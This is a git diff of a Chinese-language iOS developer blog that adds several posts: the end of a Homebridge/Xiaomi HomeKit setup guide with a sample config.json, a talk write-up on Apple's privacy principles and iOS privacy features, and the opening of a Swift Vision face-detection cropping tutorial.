1.在 iPhone 上下載安裝「 Yeelight 」APP

App Store 搜尋「Yeelight」安裝

App Store 搜尋「Yeelight」安裝

安裝完打開 Yeelight APP -> 「增加裝置」-> 找到「米家檯燈」-> 重新配對綁定

安裝完打開 Yeelight APP -> 「增加裝置」-> 找到「米家檯燈」-> 重新配對綁定

最後一步記得打開「 **區域網路控制** 」

最後一步記得打開「 區域網路控制

*如果不小心沒點到打開,可以在「裝置」頁 -> 選檯燈裝置進入 -> 點右下角「△」Tab -> 點「局域網控制」進入設定 -> 打開區域網路控制

吐槽一下這個真的有夠爛,米家本身的 APP 沒有此開關功能,一定要綁到 Yeelight APP,也不能解綁或重綁回米家…否則會失效。

然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。

可控制項目:燈開關、色溫調整、亮度調整

其他米家智慧家電 homebridge 套件:

我最終的 config.json 長這樣:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "accessories":[
+      {
+         "accessory":"MijiaCamera",
+         "name":"Mi Camera",
+         "ip":"192.168.0.105",
+         "token":"6d304e6867384b704b4f714d45314a34"
+      },
+      {
+         "accessory":"XiaomiAirPurifier3",
+         "name":"Xiaomi Air Purifier",
+         "did":"270033668",
+         "ip":"192.168.0.108",
+         "token":"5c3eeb03065fd8fc6ad10cae1f7cce7c",
+         "pm25_breakpoints":[
+            5,
+            12,
+            35,
+            55
+         ]
+      }
+   ],
+   "platforms":[
+      {
+         "platform":"MiFanPlatform",
+         "deviceCfgs":[
+            {
+               "type":"MiDCVariableFrequencyFan",
+               "ip":"192.168.0.106",
+               "token":"dd1b6f582ba6ce34f959bbbc1c1ca59f",
+               "fanName":"room fan",
+               "fanDisable":false,
+               "temperatureName":"room temperature",
+               "temperatureDisable":true,
+               "humidityName":"room humidity",
+               "humidityDisable":true,
+               "buzzerSwitchName":"fan buzzer switch",
+               "buzzerSwitchDisable":true,
+               "ledBulbName":"fan led switch",
+               "ledBulbDisable":true
+            }
+         ]
+      },
+      {
+         "platform":"yeelight",
+         "name":"Yeelight"
+      }
+   ]
+}
+

給大家做參考!

我有用到的米家家電如上教學,其他我沒有的就沒去試了,大家可以自己 上 npm 查詢(homebridge-plugin XXX英文名稱) ,然後照上面邏輯大同小異安裝、設定串接上去!

這邊附上幾個我找到但沒試過的 homebridge 套件(不保證能用):

  1. 小米空氣清淨機1代: homebridge-mi-air-purifier
  2. 米家智能插座系列: homebridge-mi-outlet
  3. 小米掃地機器人: homebridge-mi-robot_vacuum
  4. 米家智能網關: homebridge-mi-aqara

小叮嚀

  1. 建議到路由器將所有米家家電設定為指定/保留 IP,否則 IP 位置可能會變動,要重新更改 config.json 設定。
  2. 如果發現步驟都對但就是串不起來出現錯誤或是在 HomeKit 上一直顯示「無回應」,可以重新嘗試看看;如果還是一樣可能代表套件已失效,要找其他的套件來串接了。(可查看 github issue)
  3. 功能失效、反應慢;這個也無解,可以發 issue 告知作者等作者更新,由於是開源專案,不可要求太多了!
  4. 綁定完每個家電,都可以啟動一次 Homebridge,再回到 iPhone 上看能不能運作,能的話可以再下「Controle」+「C」終止;當全部家電都綁定好後,可重新啟動樹莓派,讓他在重啟後自己在後台啟動 homebridge 服務;這才是我們要的。

結語

另外可以在「設定」->「控制中心」->「自訂」中將「家庭」APP 拉上去就能在下拉控制中心中快速操作 HomeKit !

另外可以在「設定」->「控制中心」->「自訂」中將「家庭」APP 拉上去就能在下拉控制中心中快速操作 HomeKit !

全部串上 HomeKit 後只有一個字「爽」!開關的反應更快,只差我沒有家庭中樞沒辦法遠端控制而已,此篇進階 Homebridge 也到此結束,感謝閱讀。

回到文章開頭,全都加入 HomeKit 後我們就可以無痛使用 iOS ≥ 13的捷徑自動化功能了。

之後再想要來研究 homebridge 套件是怎麼做的?感覺很有趣呢!所以如果有 HomeBridge 套件不合你的操作需求、有套件壞了找不到替代的,就在等我去研究吧!

Home assistant

還有另一個智慧家庭的平台 Homeassistant 可以刷入樹莓派使用( 但請注意:需要 2A 的電源才有辦法啟動 ); Homeassistant 我也有灌來玩玩看,全 GUI 圖型操作,點一點就能串入家電;之後再來深入研究,感覺他等同於另一個米家平台而已,如果有很多不同廠商的 IOT 元件,更適合使用這個。

參考資料

  1. https://www.domoticz.cn/forum/viewtopic.php?t=52
  2. https://or2.in/2017/07/02/Homekit-and-MiJia-with-pi/#3-%E5%8F%B7%E5%A4%96-%E5%BC%80%E5%90%AF%E5%8F%AF%E8%A7%86%E5%8C%96VNC

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS HLS Cache 實踐方法探究之旅

使用 iPhone 簡單製作「偽」透視透明手機桌布

diff --git a/posts/9a05f632eba0/index.html b/posts/9a05f632eba0/index.html new file mode 100644 index 000000000..765b15e35 --- /dev/null +++ b/posts/9a05f632eba0/index.html @@ -0,0 +1,7 @@ + iOS 隱私與便利的前世今生 | ZhgChgLi
Home iOS 隱私與便利的前世今生
Post
Cancel

iOS 隱私與便利的前世今生

iOS 隱私與便利的前世今生

Apple 隱私原則及 iOS 歷年對隱私保護的功能調整

Theme by [slidego](https://slidesgo.com/theme/cyber-security-business-plan#search-technology&position-3&results-12){:target="_blank"}

Theme by slidego

[2023–08–01] iOS 17 Update

對於之前演講的最新 iOS 17 隱私相關調整補充。

Safari 會自動移除網址的 Tracking Parameter 參數 (e.g. fbclidgclid …)

  • 舉例: https://zhgchg.li/post/1?gclid=124 點擊後會變 https://zhgchg.li/post/1
  • 目前測試 iOS 17 Developer Beta 4, fbxxxgcxxx . .等等會被移掉, utm_ 是有保留的;不確定正式版 iOS 17 或日後 iOS 18 會不會再加強。
  • 如果想知道最嚴格情況下的效果可安裝 iOS DuckDuckGo 瀏覽器進行測試。
  • 詳細測試細節請參考「 iOS17 Safari 的新功能會把網址裡的 fbclid 跟 gclid 砍掉 」大大的這篇文章。

Privacy Manifest .xprivacy & Report

開發者需把使用到的 User Privacy 宣告在內, 並也需要要求有使用到的 SDK 提供該 SDK 的 Privacy Manifest。

*另外也增加第三方 SDK Signature

XCode 15 能透過 Manifest 產生 Privacy Report 供開發者在 App Store 上做 App 隱私設定。

Required reason API

為避免部分有機會得出 fingerprinting 的 Foundation API 被濫用,蘋果開始針對部分 Foundation API 做管控; 需要在 Mainfest 中宣告為何要使用

目前比較有影響的是 UserDefault 即屬於要宣告的 API。

1
+2
+3
+
從 2023 年秋季開始,如果你上傳到 App Store Connect 的新 App 或 App 更新使用了需要聲明原因的 API (包括來自第三方 SDK 的內容),而你沒有在 App 的隱私清單中提供批准的原因,那麼你會收到通知。從 2024 年春季開始,若要將新 App 或 App 更新上傳到 App Store Connect,你需要在 App 的隱私清單中註明批准的原因,以準確反映你的 App 如何使用相應 API。
+
+如果目前批准原因的涵蓋範圍內並未包含某個需要聲明原因的 API 的用例,且你確信這個用例可讓你的 App 用戶直接受益,請告訴我們。
+

Tracking Domain

發送 Tracking 資訊的 API Domain 需宣告在 privacy manifest .xprivacy 並在使用者同意追蹤後才能發起網路請求,否則此 Domain 的網路請求全部都會被系統攔截。

可從 XCode Netowrk 工具中檢查 Tracking Domain 是否被攔截:

目前實測 Facebook、Google 的 Tracking Domain 都會被偵測到,需要照規定列入 Tracking Domain 並詢問權限。

因此請注意 FB/Google 數據統計在 iOS 17 後可能會大幅流失,因為未詢問權限、不允許追蹤,會完全收不到數據;根據以往實作詢問追蹤的成效,大約有 7 成的使用者都會按不允許。

  • 開發者自己的打 API 送 Tracking 方式,蘋果也說需要同上列管 Tracking Domain
  • 如果 Tracking Domain 跟 API Domain 相同則需分開一個獨立的 Tracking Domain (e.g. api.zhgchg.li -> tracking.zhgchg.li)
  • 目前暫時無法知道蘋果如何控管開發者自己的 Tracking,用 XCode 15 測試自家的沒有被發現。
  • 不清楚官方是否會用工具檢測行為、或是審核人員人工查看

fingerprinting 依然禁止。

前言

這次很榮幸能參加 MOPCON 演講 ,但因疫情關係改成線上直播形式蠻遺憾的,無法認識更多新朋友;這次演講的主題是「iOS 隱私與便利的前世今生」主要想跟大家分享 Apple 關於隱私的原則及這些年來 iOS 基於這些隱私原則所做的功能調整。

[iOS 隱私與便利的前世今生](https://mopcon.org/2021/schedule/2021028){:target="_blank"} | [Pinkoi, We Are Hiring!](https://www.pinkoi.com/about/careers){:target="_blank"}

iOS 隱私與便利的前世今生 | Pinkoi, We Are Hiring!

相信這幾年開發者或是 iPhone 用戶應該都對以下功能調整並不陌生:

  • iOS ≥ 13: 所有支援第三方登入的 App 都需要多實作 Sign in with Apple,否則無法成功上架 App
  • iOS ≥ 14: 剪貼簿存取警告
  • iOS ≥ 14.5: IDFA 必須允許後才能存取,幾乎等同封殺 IDFA
  • iOS ≥ 15 :Private Relay,使用 Proxy 隱藏使用者原始 IP 位址
  • iOS ≥ 16 :剪貼簿存取需使用者授權
  • ….還有很多很多,會在文章後跟大家分享

Why?

如果不清楚 Apple 的隱私原則,甚至會覺得為何 Apple 這幾年不斷地在跟開發者、廣告商作對?很多大家用得很習慣的功能都被封鎖了。

再追完「 WWDC 2021 — Apple’s privacy pillars in focus 」及「 Apple privacy white paper — A Day in the Life of Your Data 」兩份文件後如夢初醒,原來我們早已在不知不覺中洩漏許多個人隱私並且讓廣告商或社群媒體賺的盆滿缽滿,在我們的日常生活中已經達到無孔不入的境界。

參考 Apple privacy white paper 改寫,以下以虛構人物哈里為例;為大家講述隱私是如何洩漏的及可能造成的危害。

首先是哈里 iPhone 上的使用紀錄。

首先是哈里 iPhone 上的使用紀錄。

左邊是網頁瀏覽紀錄: 可以看到分別造訪了跟車子、iPhone 13、精品有關的網站

右邊是已安裝的 App: 有投資、旅遊、社交、購物、還有嬰兒攝影機…這些 App

哈里的線下人生

哈里的線下人生

線下活動會留下記錄的地方例如:發票、信用卡刷卡紀錄、行車記錄器…等等

組合

你可能會想說,我瀏覽不同的網站、裝不同的 App (甚至根本沒登入)、再到線下活動怎麼可能有機會讓某個服務串起所有資料?

答案是:就技術手段是有的,而且「可能」或是「已經」局部發生。

如上圖所示:

  • 未登入時網站與網站之間可以透過 Third-Party Cookie、IP Address + 裝置資訊算出的 Fingerprint 在不同網站中識別出同個瀏覽者。
  • 登入時網站與網站之間可以透過註冊資料,如姓名、生日、電話、Email、身分證字號…串起你的資料
  • App 與 App 之間可以透過取得 Device UUID 在不同 App 中識別出同個使用者、URL Scheme 嗅探手機上其他已安裝的 App、Pasteboard 在 App 與 App 間傳遞資料;另外一樣也可在使用者登入後用註冊資料串起資料。
  • App 與網站之間同樣可以用 Third-Party Cookie、Fingerprint、Pasteboard 傳遞資料
  • 線上與線下活動的串連可能發生在,銀行端蒐集信用卡消費記錄、記帳 App、發票蒐集 App、行車記錄器 App…等等,都有機會把線下活動與線上資料串接在一起

事實證明,技術上是可行的;那究竟躲在所有網站、App 之後的第三方是誰呢?

諸如家大業大的 Facebook、Google 都靠個人廣告獲得不少收益;許多網站、App 也都會串接 Facebook、Google SDK…所以一切都很難說,這還是看得到,更多時候我們根本不知道網站、App 用了哪些第三方廣告、數據蒐集服務,在背後偷偷紀錄著我們的一舉一動。

我們假設哈里所有的活動,背後都偷藏著同一個第三方在默默收集他的資料,那麼在它的眼裡,哈里可能的輪廓如下:

左邊是個人資料,可能來自網站註冊資料、外送資料;右邊是依照哈里的活動紀錄打上的行為、興趣標籤。

在它眼中的哈里,可能比哈里還更了解自己;這些資料用在社交媒體,可以讓使用者更加沈淪;用在廣告上,可以刺激哈里過度消費或是營造鳥籠效應(EX: 推薦你買新褲子,你買了褲子就會買合適的鞋子來穿搭,買了鞋子就會再買襪子…沒完沒了)。

如果你覺得以上已經夠可怕了,還有更可怕的:

有你的個人資料又知道你的經濟狀況…要做惡的話不敢想像,例如:綁架、竊盜…

目前的隱私保護方式

  • 法律規範 (EX: SGS-BS10012 個資驗證、CCPA、GDPR…)
  • 隱私權協議、去識別化

主要還是透過法規約束;很難確保服務 100% 隨時遵守、網路上惡意程式也很多也難保證服務不會被駭造成資料外洩;總之還是「 要做惡技術上都可行,單靠法規跟企業良心約束 」。

除此之外更多時候,我們是「被迫」接受隱私權條款的,無法針對個別隱私授權,要馬整個服務都不用,要馬就是用但要接受全部隱私權條款;還有隱私條款不透明,不知道會怎麼被收集及應用,更不知道背後有沒有還躲著一個第三方在你根本不知道情況下蒐集你的資料。

另外 Apple 還有提到關於未成年人的個人隱私,多半也都在監護人未同意的情況下被服務蒐集。

Apple’s privacy principles

知道個人隱私洩露帶來的危害之後,來看一下蘋果的隱私原則。

節錄自 Apple Privacy White Paper 蘋果的理想不是完全封殺而是平衡,例如這幾年很多人都會直接裝 AD Block 完全阻斷廣告,這也不是蘋果想看到的;因為如果完全斷開就很難做出更好的服務。

賈伯斯在 2010 年的 All Things Digital Conference 說過:

我相信人是聰明的,有些人會比其他人更想分享數據,每次都去問他們,讓他們煩到叫你不要再問他們了,讓他們精準的知道你要怎麼使用他們的資料。 — translate by Chun-Hsiu Liu

蘋果相信隱私是基本人權

蘋果的四個隱私原則:

  • Data Minimization:只取用你需要的資料
  • On-Device Processing:Apple 基於強大的處理器晶片,如非必要,個人隱私相關資料應在本地執行
  • User Transparency and Control:讓使用者了解哪些隱私資訊被蒐集?被用在哪?另外也要讓使用者能針對個別隱私資料分享開關控制
  • Security:確保資料儲存、傳遞的安全

iOS 基於保護個人隱私的歷年功能調整

了解到個人隱私洩露的危害及蘋果的隱私原則後,回到技術手段上;我們可以來看看 iOS 這些年來針對保護個人隱私的功能調整有哪些。

網站與網站之間

前面有提到

🈲,在 iOS >= 11 後的 Safari 都實裝了 Intelligent Tracking Prevention ( WebKit )

預設啟用,瀏覽器會主動辨識用於追蹤、廣告的第三方 Cookie 加以阻擋;並且在每年的 iOS 版本不斷地加強辨識程式防止遺漏。

透過 Third-Party Cookie 跨網站追蹤使用者這條路,在 Safari 上基本上已經行不通了。

第二種方法是用 IP Address + 裝置資訊算出的 Fingerprint 在不同網站中識別出同個瀏覽者:

🈲,iOS >= 15 Private Relay

尤其在 Third-Party Cookie 被禁之後,有越來越多服務採用這個方法,蘋果也知道…所幸在 iOS 15 連 IP 資訊都給你混淆了!

Private Relay 服務會將使用者的原始請求先隨機送到蘋果的 Ingress Proxy,再由蘋果隨機分派到合作 CDN 的 Egress Proxy,再由 Egress Proxy 去請求目標網站。

整個流程都經過加密只有自己 iPhone 的晶片解的開,也只有自己同時知道 IP 與請求的目標網站;蘋果的 Ingress Proxy 只知道你的 IP、CDN 的 Egress Proxy 只知道蘋果的 Ingress Proxy IP 跟請求的目標網站、網站只知道 CDN 的 Egress Proxy IP。

從應用角度來看,同一個地區的所有裝置都會使用同個共享的 CDN 的 Egress Proxy IP 來請求目標網站;也因此網站端無法再用 IP 當成 Fingerprint 資訊。

技術細節可參考「 WWDC 2021 — Get ready for iCloud Private Relay 」。

補充 Private Relay:

  • Apple/CDN Provider 都沒有完整 Log 可追朔: 查了下這樣蘋果怎麼防止被用在惡意的地方,沒找到答案;可能就跟蘋果也不會幫 FBI 解鎖罪犯 iPhone 一樣意思吧;隱私是所有人的基本人權。
  • 預設開啟,不需特別連接
  • 不影響速度、效能
  • IP 會保證在同個國家和時區 (使用者可選模糊城市)、無法指定 IP
  • 只對部分流量有效 iCloud+ 用戶:所有 Safari 上的流量 + App 中的 Insecure HTTP Request 一般用戶:僅對 Safari 上網站安裝的第三方追蹤工具有效
  • 官方有提供 CDN Egress IP List 供網站開發者辨認 (不要誤 Blocking Egress IP,會造成群體傷害)
  • 網路管理者可 Ban 掉 DNS 對所有連接者停用 Private Relay
  • iPhone 可針對特定網路連線停用 Private Relay
  • 連接 VPN/ 掛 Proxy 時會停用 Private Relay
  • 目前還在 Beta 版 (2021/10/24),啟用後部分服務可能會連不上 (中國地區、中國版抖音)或是服務會頻繁被登出

Private Relay 實測圖

Private Relay 實測圖

  • 圖一 未啟用:原始 IP 位址
  • 圖二 啟用 Private Relay — 保持一般位置:IP變成 CDN IP 但依然在 Taipei
  • 圖三 啟用 Private Relay — 使用國家和時區(擴大模糊):IP變成 CDN IP & 變在 Taichung,但依然還是同個時區和國家

[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}

測試專案

App 可以用 URLSessionTaskMetrics 分析 Private Relay 的連接紀錄。

扯遠了,因此用 IP 位址得到 Fingerprint 去辨識使用者的方法,也無法再使用了。

App 與 App 之間

第一種方式是早期可以直接存取 Device UUID:

🈲,iOS >= 7 禁止存取 Device UUID,

使用 IDentifierForAdvertisers/IDentifierForVendor 取代

🈲,iOS >= 14.5 IDentifierForAdvertisers 需詢問後才能使用

iOS 14.5 後蘋果加強對 IDFA 的取用限制,App 需要先詢問使用者允不允許追蹤後才能取得 IDFA UUID;未詢問、未允許的情況下都拿不到值。

市調公司初步調查數據大約有 7成的使用者(最新數據有人說 9 成)都不允許追蹤取用 IDFA,所以大家才會說 IDFA 已死!

[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}

測試專案

App 與 App 之間互通有無的第二種方法是 URL Scheme:

iOS App 可以使用 canOpenURL 去探測使用者手機上有沒有裝某個 App。

🈲,iOS >= 9 需先在 App 內設定才能使用;不能任意探測。

iOS ≥ 15 新增限制,最多只能設定 50 組其他 App 的 Scheme。

Apps linked on or after iOS 15 are limited to a maximum of 50 entries in the LSApplicationQueriesSchemes key.

網站 與 App 之間

同前文所述

早期 iOS Safari 的 Cookie 跟 App WebView 的 Cookie 是可以互通的,可以藉此串起 網站與 App 之間的資料。

做法可以在 App 畫面上偷塞一個 1 pixel 的 WebView 元件在背景偷偷讀取 Safari Cookie 回來用。

🈲,iOS >= 11 禁止 Safari 和 App WebView 間共用 Cookie

如果有需要取得 Safari 的 Cookie (EX: 直接使用網站 Cookie 登入),可以使用 SFSafariViewController 元件取得;但此元件強迫跳提示視窗且無法客製化,確保使用者不會在無意間被偷取 Cookie。

第二種方法是同網站與網站用IP Address + 裝置資訊算出的 Fingerprint 在不同網站中識別出同個瀏覽者:

同前述, iOS ≥ 15 已被 Private Relay 混淆。

最後一種也是唯一還能的方法 — Pasteboard

使用剪貼簿串接跨平台的資訊,因為蘋果不可能禁用剪貼簿跨 App 使用,但是它可以提示使用者。

⚠️ iOS >= 14 新增剪貼簿存取警告

⚠️ 2022/07/22 Update: iOS 16 Upcoming Changes

iOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。

[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"}

UIPasteBoard’s privacy change in iOS 16

這邊要多提一下關於 iOS 14 剪貼簿的隱私恐慌,詳細可參考我之前的文章「 iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難

雖然不能排除讀取剪貼簿是想竊資,但更多時候是我們 App 需要提供更好的使用體驗:

在沒有實現 Deferred Deep Link 延遲深度連結之前,當我們引導使用者從網站上去安裝 App,安裝完成後打開 App 默認只會打開首頁;更好的使用體驗應該是打開 App 回復到網頁上停留的頁面的 App 對應頁。

要實現這個功能就需要 網站與 App 之間有機會串起資料,如文章前述的其他方法都已被封禁,目前僅能透過剪貼簿做為資訊儲存媒介(如上圖)。

包含 Firebase Dynamic Links、Branch.io 最新版(之前 Branch.io 用 IP Adrees Fingerprint 來實現)也都使用剪貼簿做 Deferred Deep Link。

實作可參考我之前的文章: iOS Deferred Deep Link 延遲深度連結實作(Swift)

一般情況下如果是為了要做到 Deferred Deep Link 僅會在第一次打開 App、重新返回 App 那一刻去讀取剪貼簿資訊;不會在使用中或奇怪的時間點讀取,這一點值得注意。

更好的做法是先用 UIPasteboard.general.detectPatterns 探測剪貼簿的資料是不是我們需要的,是在讀取。

[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}

測試專案

iOS ≥ 15 之後優化了剪貼簿提示,如果是使用者自己的貼上動作,就不會再跳提示了!

廣告成效解決方案

同前文所說的蘋果隱私原則,希望的是平衡而不是完全阻斷使用者與服務。

網站與網站的廣告成效統計:

Safari 上相對於阻擋 Intelligent Tracking Prevention 的功能就是 Private Click Measurement ( WebKit ) 用於在去除個人隱私的情況下統計廣告成效。

具體流程如上圖,使用者在 A 網站點擊廣告前往 B 網站時,會在瀏覽器上紀錄一個 Source ID (識別同個使用者用) 與 Destination 資訊 (目標網站);當使用者在 B 網站上完成轉換也會紀錄一個 Trigger ID (代表什麼動作) 在瀏覽器上。

這兩個資訊會合併起來在隨機 24 ~ 48 小時後傳送到 A 和 B 網站得到廣告成效。

一切都是 on-device safari 自行處理、防範惡意點擊也是由 Safari 提供保護。

App 與 網站或 App 之間的廣告成效統計:

可以使用 SKAdNetwork (需向蘋果申請加入) 類似 Private Click Measurement 方式,不再展開贅述。

可以多提一下,蘋果並非閉門造車; SKAdNetwork 目前來到 2.0 版本,蘋果持續收集開發者廣告商的需求綜合個人隱私控管,持續優化 SDK 功能。

這邊真心許願 Deferred Deep Link 能用 SDK 串起,因為我們是為了提升使用者體驗,沒有要侵犯個人隱私的意思。

技術細節可參考「 WWDC 2021 — Meet privacy-preserving ad attribution 」。

Cross-Platform

iOS ≥ 13 所有支援第三方登入的 App 都需要多實作 Sign in with Apple,否則無法成功上架 App

iOS >= 15 iCloud+ 用戶支援 Hide My Email

  • 支援 Safari、App 所有信箱欄位
  • 使用者可到設定中任意產生虛擬信箱

同 Sign in with Apple 使用蘋果產的虛擬 Email 代替真實信箱,在收到信後蘋果會轉發到你的真實信箱中,藉此保護你的信箱資訊。

類似 10 分鐘信箱,但又更強大;只要不停用,那組虛擬信箱地址就是你永久持有;也沒有新增上限,可以無限新增,不確定蘋果如何防止濫用。

設定 -> Apple ID -> 隱藏我的電子郵件

設定 -> Apple ID -> 隱藏我的電子郵件

Others

App privacy details on the App Store:

App 必需在 App Store 上說明使用者哪些資料會被追蹤及如何應用

詳細說明可參考:「 App privacy details on the App Store 」。

個人隱私資料細微控制:

iOS ≥ 14 開始,位置及相片存取可以更細微的控制,可以只授權取用某幾張相片、只允許 App 使用中存取位置。

[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}

測試專案

iOS ≥ 15,增加 CLLocationButton 按鈕提升使用者體驗,可以在未詢問/未同意情況下透過使用者點擊取得當前位置,此按鈕無法客製化、只能透過使用者操作觸發。

個人隱私取用提示:

iOS ≥ 15,增加個人隱私功能的取用提示,如:剪貼簿、位置、相機、麥克風

App 隱私取用報告:

iOS ≥ 15,可以匯出近 7 天手機所有 App 的隱私相關功能取用、網路活動的紀錄報告。

  1. 因紀錄報告檔案是 .ndjson 純文字檔,直接查看不易;可以先在 App Store 下載「 隱私洞見 」App 用來查看報告
  2. 到設定 -> 隱私權 -> 最下方「紀錄 App 活動」-> 啟用紀錄 App 活動
  3. 儲存 App 活動
  4. 選擇「匯入到 隱私洞見
  5. 匯入完成後即可檢視隱私報告

可以看到同 新聞 所說,Wechat 的確會再啟動 App 時在背景偷偷讀取相片資訊。

另外我也多抓到幾個中國 App 也會偷做事,直接在設定全部禁用它們的權限了。

要不是有這個功能讓他們見光死,還不知道我們的資料會被竊取多久!

Recap

Apple’s privacy principles

了解完歷年對於隱私功能的調整後,我們回頭來看蘋果的隱私原則:

  • Data Minimization:蘋果用技術手段限制取用需要的資料
  • On-Device Processing:隱私資料不上傳雲端,一切都在本地處理;如 Safari Private Click Measurement、蘋果的 機器學習 SDK CoreML 也都是在本地執行、iOS ≥ 15 的 Siri/相機原況文字功能、Apple Map、News、相片識別功能…等等
  • User Transparency and Control:新增的各種隱私存取提示、紀錄報告及隱私細微控制功能
  • Security:資料儲存傳遞的安全,不濫用 UserDefault、iOS 15 可以直接用 CryptoKit 來做點對點加解密、Private Realy 的傳輸安全

破碎資料

回到最一開始用技術手段拼湊出哈里的關聯圖,網站與網站或 App 之間被堵死,只剩剪貼還能用,但會有提示。

服務註冊跟第三方登入的個資,可以改用 Sign in with apple 和 hide my email 功能防堵;或是多使用 iOS 原生 App。

線下活動或許可以改 Apple Card 防止隱私外洩?

已沒有人有機會拼湊出哈里的活動輪廓。

Apple 以人為本

因此「以人為本」是我會給蘋果的理念的代名詞,要與商業市場唱反調需要很大的信念;與它相關的「以科技為本」是我會給 Google 的代名詞,因為 Google 總能造出很多 Geek 科技項目;最後「以商業為本」是我會給 Facebook 的代名詞,因為 FB 在很多層面上都只追求商業收益。

除了針對隱私功能的調整,這幾年的 iOS 也不斷加強防止手機沈迷的功能,推出了「螢幕使用時間報告」、「App 使用時間限制」、「專注模式」…等等功能;幫助大家解除手機成癮。

最後希望大家都能

  • 重視個人隱私
  • 不被資本控制
  • 減少虛擬成癮
  • 防止社會沈淪

在現實世界活出精彩人生!

Private Relay/IDFA/Pasteboard/Location 測試專案:

參考資料

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具

Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate

diff --git a/posts/9a9aa892f9a9/index.html b/posts/9a9aa892f9a9/index.html new file mode 100644 index 000000000..b31122256 --- /dev/null +++ b/posts/9a9aa892f9a9/index.html @@ -0,0 +1,211 @@ + Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift) | ZhgChgLi
Home Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)
Post
Cancel

Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)

Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)

Vision 實戰應用

一樣不多說,先上一張成品圖:

優化前 V.S 優化後 — [結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

優化前 V.S 優化後 — 結婚吧APP

前陣子iOS 12發佈更新,注意到新開放的CoreML 機器學習框架;覺得挺有趣的,就開始構想如果想用在當前的產品上能放在哪裡?

CoreML嚐鮮文章現已發佈: 使用機器學習自動預測文章分類,連模型也自己訓練

CoreML提供文字、圖像的機器學習模型訓練及引用到APP裡的接口,我原先的想法是,使用CoreML來做到人臉識別,解決APP中有裁圖的項目頭或臉被卡掉的問題,如上圖左所示,若人臉出現在周圍則很容易因為縮放+裁圖造成臉不完整.

經過網路搜尋一番後才發現我學識短淺,這個功能在iOS 11就已發佈:「Vision」框架,支援文字偵測、人臉偵測、圖像比對、QRCODE偵測、物件追蹤…功能

這邊使用的就是其中的人臉偵測項目,經優化後如右圖所示;找到人臉並以此為中心裁圖.

實戰開始:

首先我們先做能標記人臉位置的功能,初步認識一下Vision怎麼用

Demo APP

Demo APP

完成圖如上所示,能標記出照片中人臉的位置

p.s 僅能標記「人臉」,整個頭包含頭髮並不行😅

這塊程式主要分為兩部分,第一部分要解決 圖片原尺寸縮放放入 ImageView時會留白的狀況;簡單來說我們要的是Image的Size多大,ImageView的Size就有多大,若直接放入圖片會造成如下走位情形

你可能會想說直接改ContentMode變成fill、fit、redraw,但就會變形或圖片被卡掉

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
let ratio = UIScreen.main.bounds.size.width
+//這邊是因為我UIIMAGEVIEW 那邊設定左右對齊0,寬高比1:1
+
+let sourceImage = UIImage(named: "Demo2")?.kf.resize(to: CGSize(width: ratio, height: CGFloat.leastNonzeroMagnitude), for: .aspectFill)
+//使用KingFisher的圖片變形功能,已寬為基準,高度自由
+
+imageView.contentMode = .redraw
+//contentMode使用redraw填滿
+
+imageView.image = sourceImage
+//賦予圖片
+
+imageViewConstraints.constant = (ratio - (sourceImage?.size.height ?? 0))
+imageView.layoutIfNeeded()
+imageView.sizeToFit()
+//這一塊是我去改變 imageView的Constraints,詳情可看文末完整範例
+

以上就是針對圖片做的處理

裁圖部分使用Kingfisher幫助我們,也可替換成其他套件或自刻方法

第二部分,進入重點直接看Code

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+
if #available(iOS 11.0, *) {
+    //iOS 11之後才支援
+    let completionHandle: VNRequestCompletionHandler = { request, error in
+        if let faceObservations = request.results as? [VNFaceObservation] {
+            //辨識到的臉臉們
+            
+            DispatchQueue.main.async {
+                //操作UIVIEW,切回主執行緒
+                let size = self.imageView.frame.size
+                
+                faceObservations.forEach({ (faceObservation) in
+                    //坐標系轉換
+                    let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height)
+                    let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height)
+                    let transRect =  faceObservation.boundingBox.applying(translate).applying(transform)
+                    
+                    let markerView = UIView(frame: transRect)
+                    markerView.backgroundColor = UIColor.init(red: 0/255, green: 255/255, blue: 0/255, alpha: 0.3)
+                    self.imageView.addSubview(markerView)
+                })
+            }
+        } else {
+            print("未偵測到任何臉")
+        }
+    }
+    
+    //辨識請求
